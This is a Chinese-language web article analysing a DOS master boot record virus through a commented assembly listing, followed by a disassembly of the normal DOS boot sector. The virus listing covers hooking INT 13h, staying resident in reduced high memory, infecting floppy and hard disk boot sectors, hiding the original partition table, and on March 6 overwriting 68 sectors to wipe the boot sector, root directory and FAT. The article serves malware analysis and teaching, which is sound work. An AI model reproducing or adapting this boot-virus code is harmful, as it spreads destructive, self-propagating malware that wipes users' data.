当前位置:首页 > 软件开发 > net
firefox

一个主引导区病毒的分析

=版权所有  软件 下载  学院  版

权所有= 病毒体:
jmp 01af ;jmp到01af
db 00 ;病毒标计
dw 00f5 ;此为搬到高位址后,远程跳转指令
dw 9f80 ;目的地,也就是跳下一个指令xor ax,ax
db 02
dw 0003 ;此为软盘识别标记,硬盘为0007
dw ec59 ;
dw f000 ;int 13h的原入口
.
.
.
.
.
xor ax,ax ;清除ax
mov ds,ax; ;让ds=0000
cli ;清i标志积存器
mov ss,ax ;把堆栈设为0000:7c00也就是开机
mov ax,7c00 ;后载入引导分区表的地址,目前地址
mov sp,ax ;开机时为0000:7cb6
sti ;设i标志积存器
push ds ;把ds=0000,ax=7c00压栈,留给0b33:024a
push ax ;用retf,把程序转到引导或分区表位置
mov ax,[004c] ;取中断向量表中,int 13h的偏移位置
mov [7c0a],ax ;保存int 13h的偏移位置,也就是存在
mov ax,[004e] ;取int 13h的段地址
mov [7c0c],ax ;存到010c


;以上是hook系统读写盘调用int 13用病毒体替代原int 13
;读写以便传播发作

mov ax,[0413] ;取得内存k数,放在ax
dec ax ;
dec ax ;减2k内存
mov [0413],ax ;存回,通常是638k
mov cl,06 ;
shl ax,cl ;
mov es,ax ;算出减2k后病毒本体的位址
mov [7c05],ax ;ax存入0105


;病毒常用手法将系统高段内存减少以便驻留
;这样可以免于被其他程序覆盖


mov ax,000e ;病毒拦int 13h
;isr起始的偏移量
mov [004c],ax ;
mov [004e],es ;设原为病毒的int 13h
mov cx,01be ;病毒长度为1be
mov si,7c00 ;从jmp 01af开始
xor di,di ;di=0
cld ;清方向标志
repz;
movsb ;cx=1be,将病毒自身搬移到高位址,目地是使其引导或
cs: ;分区表能载入0000:7c00正常运作
jmp far [7c03] ;跳到为搬过后的位址
xor ax,ax ;清ax
mov es,ax ;es=0000
int 13 ;复位磁盘
push cs ;
pop ds ;让ds=cs
mov ax,0201 ;用int 13h读一扇区,是引导,或分区表则

mov bx,7c00 ;读到0000:7c00
mov cx,[0008] ;硬盘第0道,第7扇区
cmp cx,+07 ;比较是否从硬盘启动
jnz 0213 ;不是跳0213
mov dx,0080 ;第一硬盘c:第零面
int 13 ;用int 13号中断,读
jmp 023e ;跳023e比较日期,发作或正常开机
mov cx,[0008] ;软盘0道,第3扇区
mov dx,0100 ;a:的第0面
int 13 ;int 13读盘
jb 023e ;失败跳023e
push cs
popes ;让es=cs
mov ax,0201 ;
mov bx,0200 ;
mov cx,0001 ;
mov dx,0080 ;
int 13 ;读入c:的分区表到0200,以便下面比较
jb 023e ;失败跳023e
xor si,si ;清si
cld ;清方向标志以便比较
lodsw ;载入一个word到ax
cmp ax,[bx] ;比较有无病毒存在..e9ac
jnz 0287 ;没有则跳0287传染
lodsw ;载入一个word到ax
cmp ax,[bx+02] ;再次确认..0000
jnz 0287 ;没有跳0287
xor cx,cx ;清cx
mov ah,04 ;
int 1a ;取得日期
cmp dx,0306 ;是否为三月六日
jz 024b ;是跳024b传染
retf ;把程序交还给引导启动完成


步骤4:病毒int 13代码分析
方法:u

push ds ;首先把要用到积存器
push ax ;入栈保存
or dl,dl ;比较是否为软盘
jnz 002f ;如不是则退出传染
xor ax,ax ;ax=0
mov ds,ax ;数据代段=0
test byte ptr [043f],01 ;比较是否为a盘
jnz 002f ;不是则退出
pop ax ;将以上保存积存器
pop ds ;弹栈恢复
pushf ;压栈标志积存器
cs: ;以便执行原int 13
call far [000a] ;执行原int 13
pushf ;再次压栈
call 0036 ;以便跳转到传染程序
popf ;跳转到执行传染
retf 0002 ;结束中断调用返回
pop ax ;恢复
pop ds ;堆栈
cs: ;跳转到原正常int 13
jmp far [000a] ;地址执行


;此段代码中展现了病毒常用手法,利用标志积存器做跳转


步骤5:传染过程分析
方法:u

对软盘传染过程:

push ax ;工
push bx ;作
push cx ;寄
push dx ;存
push ds ;器
push es ;入
push si ;栈
push di ;保存
push cs ;以压/弹栈方式
pop ds ;使数据段ds和
push cs ;附加段es均指向
pop es ;代码段cs
mov si,0004 ;试4次
mov ax,0201 ;设置各
mov bx,0200 ;积存器
mov cx,0001 ;为读软盘
xor dx,dx ;引导扇区做准备
pushf ;压栈标志积存器
call far [000a] ;正常的int 13调用
jnb 0063 ;成功则转判断
xor ax,ax ;不成功复位
pushf ;磁盘继续读
call far [000a] ;如果4次
dec si ;均匀不成功
jnz 0045 ;则退出跳转
jmp 00a6 ;退出传染
xor si,si ;si=0以便用
cld ;lodsw读入软盘
lodsw ;第1或第2字进行比较
cmp ax,[bx] ;比较如果不包含病毒标志
jnz 0071 ;则跳转写传染
lodsw ;如果已有标志
cmp ax,[bx+02] ;则退出
jz 00a6 ;传染子程序
mov ax,0301 ;为写盘准备
mov dh,01 ;如果是360k
mov cl,03 ;则写到1面0道3扇区
cmp byte ptr [bx+15],fd ;比较软盘
jz 0080 ;如果大于360k
mov cl,0e ;写到1面0道14扇区
mov [0008],cx ;写病毒标志到软盘
pushf ;调用原int 13
call far [000a] ;进行传染
jb 00a6
mov si,03be ;以下是将正常
mov di,01be ;引导扇区从
mov cx,0021 ;1be起的21字节内容
cld ;搬移到病毒程序尾部
repz ;开始复制
movsw
mov ax,0301 ;写盘功能调用,写一个扇区
xor bx,bx ;将病毒程序
mov cx,0001 ;写入软盘引导扇区内
xor dx,dx ;设置为软盘
pushf
call far [000a] ;执行正常int 13调用写盘
pop di ;将
pop si ;工
pop es ;作
pop ds ;寄
pop dx ;存
pop cx ;器
pop bx ;退
pop ax ;栈
ret ;返回调用处

对硬盘传染过程:

mov cx,0007 ;第7扇区
mov [0008],cx ;此处为硬盘引导标记
mov ax,301 ;写功能调用
mov dx,0080 ;设置为硬盘
int 13 ;将正常引导扇区写到0面0道7扇区内
jb 13e ;失败则转
mov si,03be ;原分区表地址
mov di,01be ;目标地址
mov cx,0021 ;整个分区表
repnz
movsw ;开始复制

;此段代码是将硬盘分区信息,搬移到病毒程序尾部
;这样在分析着查看硬盘分区信息时仍能看到该部分
;内容,以次来麻痹分析者

mov ax,0301 ;准备写病毒提进硬盘
xor bx,bx ;病毒体位置
inc cl ;第一扇区
int 13 ;开始写盘传染
jmp 013e ;转到13e处判断是否为3月6日,是则发作


步骤6:破坏过程分析
方法:u

主要分析对硬盘数据破坏:

.
.
.
.
.
mov dl,80
mov byte ptr[0007],04

;准备写硬盘
mov al,11 ;写17个扇区
mov bx,5000
mov es,bx ;从内存es:5000中处开始写
int 13 ;残不人睹
jnb 0179 ;成功转179继续写
xor ah,ah
int 13 ;不成功复位磁盘继续
inc dh ;使写操作磁头加1继续?
cmp dh,[0007] ;比较是否小于0007单元值
jb 0150 ;是则返回开始处继续写
xor dh,dh ;dh=0
inc ch ;再加扇区
jmp 0150 ;反回继续写

;以上操作实际上是对硬盘执行4次写操作,每次17个扇区
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录
;和文件分配表。


引导扇区病毒,俺手里没有,这是一段dos boot的分析。boot区病毒和他完成同样的工作,只不过每次
读盘的时将自身写入磁盘。

引导过程如下:
1>调整堆栈位置
2>修改并用修改后的磁盘参数表来复位磁盘系统
3>计算根目录表的首扇区的位置及io.sys的扇区位置
4>读入根目录表的首扇区
5>检查根目录表的开头两项是否为io.sys及msdos.sys
6>将io.sys文件开头三个扇区读入内存0000:0700h处
7>跳到0000:0700h处执行io.sys,引导完毕

003e fa cli
003f 33c0 xor ax,ax
0041 8ed0 mov ss,ax
0041 8ed0 mov ss,ax
0043 bc007c mov sp,7c00 ; 初始化堆栈
0046 16 push ss
0047 07 pop es ;(es)=0000h
0048 bb7800 mov bx,0078 ;1eh 号中断向量的地址为0000:0078h
004b 36 ss: ;(ss)=0000h
004c c537 lds si,[bx] ;取1eh号中断向量的内容存入ds:si
004e 1e push ds ;该中断向量指向一个11字节的磁盘参数表
004f 56 push si ;取到后压入堆栈中保存
0050 16 push ss
0051 53 push bx ;保存地址0000:0078h
0052 bf3e7c mov di,7c3e ;7c3e-7c00=003eh,即偏移003eh,以下类推
0055 b90b00 mov cx,000b ;磁盘参数表共11字节
0058 fc cld
0059 f3 repz
005a a4 movsb ;将磁盘参数表复制到0000:7c3eh处
005b 06 push es
005c 1f pop ds ;(ds)=0000h
005d c645fe0f mov byte ptr [di-02],0f ;修改参数表中"磁头定位时间"
0061 8b0e187c mov cx,[7c18] ;从bpb中取"每磁道扇区数"
0065 884df9 mov [di-07],cl ;修改参数表中"每磁道扇区数"
0068 894702 mov [bx+02],ax ;(ax)=0000h,修改1eh号中断向量(段址)
006b c7073e7c mov word ptr [bx],7c3e ;修改1eh号中断向量(偏移),这样1eh号
006f fb sti ;中断向量的内容为0000:7c3eh,指向新的磁盘参数表
0070 cd13 int 13 ;用新的磁盘参数表来复位磁盘
0072 7279 jb 00ed ;出错则转出错处理


; 下面一段程序计算扇区位置
0074 33c0 xor ax,ax
0076 3906137c cmp [7c13],ax ;偏移0013h处是dos分区的总扇区数
007a 7408 jz 0084 ;为零表示大硬盘?
007c 8b0e137c mov cx,[7c13] ;不为0则取出来放到偏移0020h处
0080 890e207c mov [7c20],cx ;这个值本程序未用,似乎为io.sys准备的
0084 a0107c mov al,[7c10] ;取fat表的个数
0087 f726167c mul word ptr [7c16] ;乘以一个fat表所占的扇区数
008b 03061c7c add ax,[7c1c] ;加上dos分区前的扇区数(隐藏扇数,低位)
008f 13161e7c adc dx,[7c1e] ; 高位
0093 03060e7c add ax,[7c0e] ;加上dos分区内的保留扇区数(低位)
0097 83d200 adc dx,+00 ; (高位)
009a a3507c mov [7c50],ax ;根目录表的首扇的逻辑扇区号(低位)
009d 8916527c mov [7c52],dx ; (高位)
00a1 a3497c mov [7c49],ax ;此处放io.sys的首扇的逻辑扇区号(低位)
00a4 89164b7c mov [7c4b],dx ; (高位)
00a8 b82000 mov ax,0020 ;根目录表中每项占32字节
00ab f726117c mul word ptr [7c11] ;乘以根目录表中的项数
00af 8b1e0b7c mov bx,[7c0b] ;取"每扇区的字节数"
00b3 03c3 add ax,bx ;这两条指令是为了取整
00b5 48 dec ax
00b6 f7f3 div bx ;除以每扇字节数,得到根目录所占扇区数
00b8 0106497c add [7c49],ax ;得到根目录表后首扇的逻辑扇区号(低位)
00bc 83164b7c00 adc word ptr [7c4b],+00 ; (高位)

;下面一段程序在根目录表中找系统文件io.sys和msdos.sys
00c1 bb0005 mov bx,0500 ;内存缓冲区的偏移值
00c4 8b16527c mov dx,[7c52] ;取根目录表的首扇的逻辑扇区号(高位)
00c8 a1507c mov ax,[7c50] ; (低位)
00cb e89200 call 0160 ;将逻辑扇区号转换为物理扇区号
00ce 721d jb 00ed ;出错则转出错处理
00d0 b001 mov al,01
00d2 e8ac00 call 0181 ;读一个扇区到内存(根目录的首扇)
00d5 7216 jb 00ed ;出错处理
00d7 8bfb mov di,bx ;内存缓冲区的首址
00d9 b90b00 mov cx,000b ;比较11个字节
00dc bee67d mov si,7de6 ;偏移01e6处是串"io sys",长11字节
00df f3 repz
00e0 a6 cmpsb ;看第一项是否为io.sys
00e1 750a jnz 00ed ;不是则出错
00e3 8d7f20 lea di,[bx+20] ;跳过32字节就指向第二项
00e6 b90b00 mov cx,000b ;比较11个字节
00e9 f3 repz
00ea a6 cmpsb ;看第二项是否为msdos.sys
00eb 7418 jz 0105 ;是则两个文件都已找到,跳过出错处理


;下面一段进行出错处理
00ed be9e7d mov si,7d9e ;偏移019eh处是串"non system disk..."
00f0 e85f00 call 0152 ;显示字符串
00f3 33c0 xor ax,ax
00f5 cd16 int 16 ;等待任一键按下
00f7 5e pop si
00f8 1f pop ds ;得到1eh号中断向量的地址0000:0078h
00f9 8f04 pop [si]
00fb 8f4402 pop [si+02] ;恢复1eh号中断向量的内容
00fe cd19 int 19 ;自举
0100 58 pop ax
0101 58 pop ax
0102 58 pop ax ;清理堆栈
0103 ebe8 jmp 00ed ;再次试图起动


;下面读入io.sys的头3个扇区到内存0000:0700h处
0105 8b471a mov ax,[bx+1a] ;从根目录表第一项中取io.sys的首簇号
0108 48 dec ax
0109 48 dec ax ;首簇号减二
010a 8a1e0d7c mov bl,[7c0d] ;取每簇的扇区数
010e 32ff xor bh,bh
0110 f7e3 mul bx ;(首簇号 - 2)乘以 每簇的扇区数
0112 0306497c add ax,[7c49] ;相加后得到io.sys的首扇的逻辑扇区号
0116 13164b7c adc dx,[7c4b]
011a bb0007 mov bx,0700 ;内存缓冲区的偏移值
011d b90300 mov cx,0003 ;循环计数初值,读3个扇区
0120 50 push ax ;逻辑扇区号进栈(低位)
0121 52 push dx ; (高位)
0122 51 push cx ;循环计数器进栈
0123 e83a00 call 0160 ;逻辑扇区号转换为物理扇区号
0126 72d8 jb 0100 ;出错处理
0128 b001 mov al,01
012a e85400 call 0181 ;读一个扇区到内存缓冲区
012d 59 pop cx ;循环计数出栈
012e 5a pop dx
012f 58 pop ax ;逻辑扇区号出栈
0130 72bb jb 00ed ;读盘出错处理
0132 050100 add ax,0001
0135 83d200 adc dx,+00 ;下一个扇区
0138 031e0b7c add bx,[7c0b] ;缓冲区指针移动一个扇区的大小
013c e2e2 loop 0120 ;循环读入三个扇区
013e 8a2e157c mov ch,[7c15] ;取"磁盘介质描述",传给io.sys
0142 8a16247c mov dl,[7c24] ;取"系统文件所在的驱动器号"
0146 8b1e497c mov bx,[7c49] ;取io.sys的首扇的逻辑扇区号
014a a14b7c mov ax,[7c4b]
014d ea00007000 jmp 0070:0000 ;执行io.sys,引导完毕

;显示字符串的子程序
0152 ac lodsb ;从串中取一个字符
0153 0ac0 or al,al
0155 7429 jz 0180 ;为0则已到串尾,返回(共用ret指令)
0157 b40e mov ah,0e
0159 bb0700 mov bx,0007
015c cd10 int 10 ;显示该字符
015e ebf2 jmp 0152 ;循环显示下一个

;将逻辑扇区号转换为物理扇区号的子程序
0160 3b16187c cmp dx,[7c18] ;这两条指令是为了避免第二次除法时除数
0164 7319 jnb 017f ;为0
0166 f736187c div word ptr [7c18] ;逻辑扇取号除以每道扇区数,商(ax)=总磁
016a fec2 inc dl ;道数,余数(dx)再加一即为扇区号,因为扇
016c 88164f7c mov [7c4f],dl ;区号是从1开始的,而不是从0开始
0170 33d2 xor dx,dx
0172 f7361a7c div word ptr [7c1a] ;总磁道数(ax)再除以面数,所得的
0176 8816257c mov [7c25],dl ;余数(dx)=面号(即磁头号)
017a a34d7c mov [7c4d],ax ;商(ax)=磁道号
017d f8 clc
017e c3 ret ;正常返回
017f f9 stc
0180 c3 ret ;异常返回

;读一个扇区的子程序
0181 b402 mov ah,02 ;读功能调用
0183 8b164d7c mov dx,[7c4d] ;需要的入口参数如下:
0187 b106 mov cl,06 ;(dl)=驱动器号
0189 d2e6 shl dh,cl ;(dh)=面号
018b 0a364f7c or dh,[7c4f] ;(ch)=磁道号
018f 8bca mov cx,dx ;(cl)=扇区号(第6,7位为磁道号的高2位)
0191 86e9 xchg ch,cl ;(al)=要读的扇区数
0193 8a16247c mov dl,[7c24] ;(es:bx)=缓冲区首址
0197 8a36257c mov dh,[7c25]
019b cd13 int 13
019d c3 ret
9x下的主引导/引导扇区没大区别,为了识别大分区用了一个int 13的扩展调用42h

 ↓相关文章:
© 2006-2008 All Rights Reserved